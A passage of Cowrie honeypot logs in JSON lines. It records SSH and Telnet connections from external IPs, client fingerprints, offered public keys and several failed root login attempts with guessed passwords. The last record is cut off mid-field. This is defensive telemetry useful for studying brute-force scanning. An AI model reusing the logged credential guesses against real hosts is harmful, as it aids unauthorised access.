{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:22.299428Z","src_ip":"43.245.98.60","session":"01fc80dcda1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":39798,"dst_ip":"10.17.0.5","dst_port":22,"session":"1365d9aad683","protocol":"ssh","message":"New connection: 147.45.199.80:39798 (10.17.0.5:22) [session: 1365d9aad683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:25.150074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:25.155814Z","src_ip":"147.45.199.80","session":"1365d9aad683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:25.255429Z","src_ip":"147.45.199.80","session":"1365d9aad683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia3250","message":"login attempt [root/nokia3250] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:25.543222Z","src_ip":"147.45.199.80","session":"1365d9aad683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:26.642299Z","src_ip":"147.45.199.80","session":"1365d9aad683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.163.145.38","src_port":60784,"dst_ip":"10.17.0.5","dst_port":22,"session":"88129a7a52eb","protocol":"ssh","message":"New connection: 89.163.145.38:60784 (10.17.0.5:22) [session: 88129a7a52eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:30.427015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:30.432070Z","src_ip":"89.163.145.38","session":"88129a7a52eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:30.528601Z","src_ip":"89.163.145.38","session":"88129a7a52eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:a4:da:e8:25:0c:24:a7:cf:50:84:f1:cd:58:dd:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDidMFmslu3x3mWLBvRQgE4wISCo4k506Y0yMa792JQZ7dL7bdg5Yr/o8jBrBaVxhQZDdS42ayFSlYQ0nef3XjxR3CGPsnnR2JnVTiO3fMk/zElDvxsuR3LmLJtfhMqoVRo975bYFcvrwph6hCE3pQnnUO2PztSmiE7Kkj6Fqdga2jf5w4paWNLJTWKr44lYNWU3Wt/IQZc69YHD1X3aVR+WCrFMYeWKj1U+Zoj/p769Ud31/YJT7ViQLEM84ZYaQWY0Uk7dDL8TMH7VtcA+GYOeiEFsIoWh0LKQVFs00yyN1AZG7w1cqT6nuiLVn0MVGPIoRdRXgmBwptt/WUOft5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:a4:da:e8:25:0c:24:a7:cf:50:84:f1:cd:58:dd:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:30.988227Z","src_ip":"89.163.145.38","session":"88129a7a52eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:a4:da:e8:25:0c:24:a7:cf:50:84:f1:cd:58:dd:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDidMFmslu3x3mWLBvRQgE4wISCo4k506Y0yMa792JQZ7dL7bdg5Yr/o8jBrBaVxhQZDdS42ayFSlYQ0nef3XjxR3CGPsnnR2JnVTiO3fMk/zElDvxsuR3LmLJtfhMqoVRo975bYFcvrwph6hCE3pQnnUO2PztSmiE7Kkj6Fqdga2jf5w4paWNLJTWKr44lYNWU3Wt/IQZc69YHD1X3aVR+WCrFMYeWKj1U+Zoj/p769Ud31/YJT7ViQLEM84ZYaQWY0Uk7dDL8TMH7VtcA+GYOeiEFsIoWh0LKQVFs00yyN1AZG7w1cqT6nuiLVn0MVGPIoRdRXgmBwptt/WUOft5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:30.991485Z","src_ip":"89.163.145.38","session":"88129a7a52eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:1d:f2:e6:eb:86:e9:7e:81:f2:79:38:31:1c:84:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwW8mgf+ikOQoeS3m6jxIjo3/LK+3diVa+MJokMEh4CGaqzv3Wt4p1mRgC/EV2uLC9HfvVlmxotEQgR4i/Huy4NHOIhgraxR7YkuSHAtO/RQzMNrZXQ+PLkgf7WISxE4jVRFQs/IZgKUb+IiOgEunILgyR02cXQPXM5OXkn/bLGjxlnG9b7bCrumo2KINLVIrU5zzEVOkIIWL3pEdObMc9yBkpKEPYrf/STkUxkPROgWUt65np75MXvKn49rNMoYylZio9bOn57oJjx9A9WaWOg9Medli88jaS4lTi9OPIncEPZBo/vw803DHr1mdg8ULIsg7cOzOqpMCSnSHTSIXBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:1d:f2:e6:eb:86:e9:7e:81:f2:79:38:31:1c:84:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:31.087320Z","src_ip":"89.163.145.38","session":"88129a7a52eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:1d:f2:e6:eb:86:e9:7e:81:f2:79:38:31:1c:84:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwW8mgf+ikOQoeS3m6jxIjo3/LK+3diVa+MJokMEh4CGaqzv3Wt4p1mRgC/EV2uLC9HfvVlmxotEQgR4i/Huy4NHOIhgraxR7YkuSHAtO/RQzMNrZXQ+PLkgf7WISxE4jVRFQs/IZgKUb+IiOgEunILgyR02cXQPXM5OXkn/bLGjxlnG9b7bCrumo2KINLVIrU5zzEVOkIIWL3pEdObMc9yBkpKEPYrf/STkUxkPROgWUt65np75MXvKn49rNMoYylZio9bOn57oJjx9A9WaWOg9Medli88jaS4lTi9OPIncEPZBo/vw803DHr1mdg8ULIsg7cOzOqpMCSnSHTSIXBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:31.090270Z","src_ip":"89.163.145.38","session":"88129a7a52eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:da:86:66:3b:21:57:5e:26:ca:01:a7:3e:2e:a1:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+htDcp8FHozftHwUOlgXzTbbvLL52QQJu2NSGvVv0urNGHpln1wa7a7zn7ZJiTQqrac90DhA7G46d7MoUqZuVRKdrFxu+UtawTVL4ULVpkl4eOA8OIyBOC3bf5Jtu/6r3hWh0RK3XF1OtXz2tES58b190w2/WrTeqfHkLt/2sLvMVJ9jQisEOzTQ+YxF9ltlx2MTprNCsJz0f3hCKU9swkYdGq9LyoQWYT7V8L8Uq9FynYvwK0LRIsxRWMXTGofJqea4k6gf1lm+oulPphcvzZgBgZMgNhTyoZhIZpapJSR0JEELZlndfMR65A5xhUqRq9zvFTp7ML1dqiGLwd34j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:da:86:66:3b:21:57:5e:26:ca:01:a7:3e:2e:a1:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:31.185631Z","src_ip":"89.163.145.38","session":"88129a7a52eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:da:86:66:3b:21:57:5e:26:ca:01:a7:3e:2e:a1:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+htDcp8FHozftHwUOlgXzTbbvLL52QQJu2NSGvVv0urNGHpln1wa7a7zn7ZJiTQqrac90DhA7G46d7MoUqZuVRKdrFxu+UtawTVL4ULVpkl4eOA8OIyBOC3bf5Jtu/6r3hWh0RK3XF1OtXz2tES58b190w2/WrTeqfHkLt/2sLvMVJ9jQisEOzTQ+YxF9ltlx2MTprNCsJz0f3hCKU9swkYdGq9LyoQWYT7V8L8Uq9FynYvwK0LRIsxRWMXTGofJqea4k6gf1lm+oulPphcvzZgBgZMgNhTyoZhIZpapJSR0JEELZlndfMR65A5xhUqRq9zvFTp7ML1dqiGLwd34j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:31.188904Z","src_ip":"89.163.145.38","session":"88129a7a52eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:8d:87:5b:84:d1:d2:89:51:a6:21:30:cc:f8:92:3e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID97HYvmo3y6DO3uJRvmrH905F46Q/zJpA/xDWz0pcTG","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 27:8d:87:5b:84:d1:d2:89:51:a6:21:30:cc:f8:92:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:31.285003Z","src_ip":"89.163.145.38","session":"88129a7a52eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:8d:87:5b:84:d1:d2:89:51:a6:21:30:cc:f8:92:3e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID97HYvmo3y6DO3uJRvmrH905F46Q/zJpA/xDWz0pcTG","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:31.288888Z","src_ip":"89.163.145.38","session":"88129a7a52eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:50:9e:77:3e:8e:22:bb:f5:f0:3e:3a:a0:68:a5:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrTfdhaSv8TsrJGL8yCVAr4M/lFAgFwIeB342/enbA7++KYh5pazrPhAndkOm0GCtS1Bap+QXdGMWLtTO3NEsZnsDEVNtsRzMeCpTPlS/WjzOfur/s9r63eNIdXbJq78ARt096rL8ydfpCZTrj663Pf5ZH3sXjxyH5qD9GUDJvRJEWWhNUt4VrklaiV+arXJQPYlNKKjFH3zpIoyKqUgSU2TkJe4ykfP+8IILtZ5zaKDgozJ5eRS8uqvUvSaOGES8nlHywAh8bmX7Cz7CUrHWPvM4N+IQSDygcXDRSUxarXatialsfuISIMfnxGd37+VVVxYq5KpE4FgPs6A8S126v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:50:9e:77:3e:8e:22:bb:f5:f0:3e:3a:a0:68:a5:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:31.386066Z","src_ip":"89.163.145.38","session":"88129a7a52eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:50:9e:77:3e:8e:22:bb:f5:f0:3e:3a:a0:68:a5:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrTfdhaSv8TsrJGL8yCVAr4M/lFAgFwIeB342/enbA7++KYh5pazrPhAndkOm0GCtS1Bap+QXdGMWLtTO3NEsZnsDEVNtsRzMeCpTPlS/WjzOfur/s9r63eNIdXbJq78ARt096rL8ydfpCZTrj663Pf5ZH3sXjxyH5qD9GUDJvRJEWWhNUt4VrklaiV+arXJQPYlNKKjFH3zpIoyKqUgSU2TkJe4ykfP+8IILtZ5zaKDgozJ5eRS8uqvUvSaOGES8nlHywAh8bmX7Cz7CUrHWPvM4N+IQSDygcXDRSUxarXatialsfuISIMfnxGd37+VVVxYq5KpE4FgPs6A8S126v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:31.390308Z","src_ip":"89.163.145.38","session":"88129a7a52eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:31.488138Z","src_ip":"89.163.145.38","session":"88129a7a52eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40094,"dst_ip":"10.17.0.5","dst_port":23,"session":"a925d64f1d1c","protocol":"telnet","message":"New connection: 152.42.224.71:40094 (10.17.0.5:23) [session: a925d64f1d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:31.989116Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40096,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fad3105a0ba","protocol":"telnet","message":"New connection: 152.42.224.71:40096 (10.17.0.5:23) [session: 6fad3105a0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:36.393030Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":47740,"dst_ip":"159.203.135.109","dst_port":22,"session":"10edaf5a6561","protocol":"ssh","message":"New connection: 103.149.28.157:47740 (159.203.135.109:22) [session: 10edaf5a6561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:38.400768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:38.407837Z","src_ip":"103.149.28.157","session":"10edaf5a6561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:38.648733Z","src_ip":"103.149.28.157","session":"10edaf5a6561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop[]","message":"login attempt [root/qwertyuiop[]] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:39.629571Z","src_ip":"103.149.28.157","session":"10edaf5a6561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:40.878858Z","src_ip":"103.149.28.157","session":"10edaf5a6561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58018,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3e52934d985","protocol":"telnet","message":"New connection: 152.42.224.71:58018 (10.17.0.5:23) [session: f3e52934d985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:41.484623Z"}
{"eventid":"cowrie.session.closed","duration":27.944861888885498,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:41.513928Z","src_ip":"152.42.224.71","session":"8924126b2dde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48584,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b414103ef34","protocol":"telnet","message":"New connection: 152.42.224.71:48584 (10.17.0.5:23) [session: 3b414103ef34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:48.438410Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":34704,"dst_ip":"10.17.0.5","dst_port":22,"session":"af57c322c484","protocol":"ssh","message":"New connection: 124.109.2.211:34704 (10.17.0.5:22) [session: af57c322c484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:49.074196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:49.081676Z","src_ip":"124.109.2.211","session":"af57c322c484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:49.348103Z","src_ip":"124.109.2.211","session":"af57c322c484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PAssword@123","message":"login attempt [root/PAssword@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:50.370811Z","src_ip":"124.109.2.211","session":"af57c322c484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:51.641327Z","src_ip":"124.109.2.211","session":"af57c322c484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.176720142364502,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:57.165740Z","src_ip":"152.42.224.71","session":"a925d64f1d1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":21135,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a354a5f8c32","protocol":"ssh","message":"New connection: 223.197.186.7:21135 (10.17.0.5:22) [session: 8a354a5f8c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:01.815783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:01.821936Z","src_ip":"223.197.186.7","session":"8a354a5f8c32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2